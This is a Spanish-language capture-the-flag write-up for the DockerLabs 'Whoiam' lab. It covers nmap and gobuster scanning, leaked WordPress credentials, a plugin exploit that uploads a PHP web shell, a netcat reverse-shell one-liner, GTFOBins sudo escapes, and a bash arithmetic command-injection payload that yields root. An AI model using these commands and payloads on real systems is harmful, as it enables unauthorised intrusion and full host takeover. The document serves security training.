miguel@home:~$

Whoiam - DockerLabs

OS Dificultad Creator
Linux F谩cil Pylon

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.18.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es r谩pido y discreto.
  • --min-rate=5000: Env铆a al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resoluci贸n DNS.
  • -Pn: No realiza ping previo para determinar si el host est谩 activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos est谩n activos:

  • 80 (HTTP) A continuaci贸n, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, adem谩s de obtener m谩s informaci贸n sobre los servicios asociados a esos puertos.
    nmap -p80 -sCV 172.18.0.2 -oG targeted
    

    image

Exploraci贸n Web

Al analizar el puerto 80, identificamos un sitio WordPress.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.18.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que est谩s utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Identificamos el directorio /backups. Al acceder, encontramos un archivo comprimido con una base de datos.

image

Simult谩neamente, ejecutamos wpscan para enumerar usuarios:

wpscan --url http://172.17.0.2/wordpress -e

Encontramos dos usuarios erik y developer.

image

Ya que tenemos todo esto vamos a empezar

Intrusion

Descomprimimos el archivo del directorio /backups, obteniendo un archivo 29DBMay que contiene las credenciales:

| Username  |         Password        |
|-----------|-------------------------|
| developer | 2wmy3KrGDRD%RsA7Ty5n71L^|
|-----------|-------------------------|

Probamos estas credenciales en /wp-admin, obteniendo acceso al panel de administraci贸n.

image

Explotaci贸n

Identificamos el plugin vulnerable M.E Calendar 5.16.2. Usamos un exploit para cargar un shell PHP:

Para ello lo descargamos , ejecutamos el siguiente comando.

python3 poc.py -T 172.18.0.2 -P 80 -U / -u developer -p 2wmy3KrGDRD%RsA7Ty5n71L^

image

Accedemos a la ruta /wp-content/uploads/shell.php y ejecutamos la shell.

http://172.18.0.2/wp-content/uploads/shell.php

Nos debera de salir una shell interactiva:

image

Lo que haremos sera desde ahi hacer una reverseshell a nuestra maquina

Reverse Shell

Ejecutamos un comando para establecer una conexi贸n reversa:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 172.18.0.1 4444 >/tmp/f

image

Simult谩neamente, escuchamos conexiones entrantes con netcat:

nc -lvnp 4444

Logramos acceso como www-data. image

TTY ReverseShell

Iniciar una sesi贸n de shell interactiva

En nuestra shell b谩sica, ejecutamos el siguiente comando para forzar la creaci贸n de una sesi贸n de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior est谩 en ejecuci贸n, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuraci贸n del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Escalada de Privilegios

Usuario rafa

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar find como rafa.Utilizando GTFOBins sabemos c贸mo explotar estos binarios.

image

Ejecutamos lo siguiente:

sudo -u rafa /usr/bin/find . -exec /bin/sh \; -quit

Ya estamos dentro de rafa

image

Usuario ruben

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar debugfs como ruben.Utilizando GTFOBins sabemos c贸mo explotar estos binarios.

image

Ejecutamos lo siguiente

sudo -u ruben /usr/sbin/debugfs

y despues

!/bin/sh

image

Root

Ahora tenemos que escalar con el usuario ruben.

Volvemos a ejecutra sudo -l, notamos que tiene permisos para ejecutar bash como root en el archivo /opt/penguin.sh.Utilizando GTFOBins sabemos c贸mo explotar estos binarios.

Si vemos su codigo podremos ver que nos estamos enfrentando a un Bash eq Privilege Escalation:

image

El script en bash realiza una comparacion de numeros, si vemos el codigo podremos ver que lo compara con el valor 42 asi que probaremos a ejecutar un comando:

a[$(date >&2)]+42

image

Por lo que ahora generaremos una shell root

a[$(/bin/sh >&2)]+42

image

Ya somos root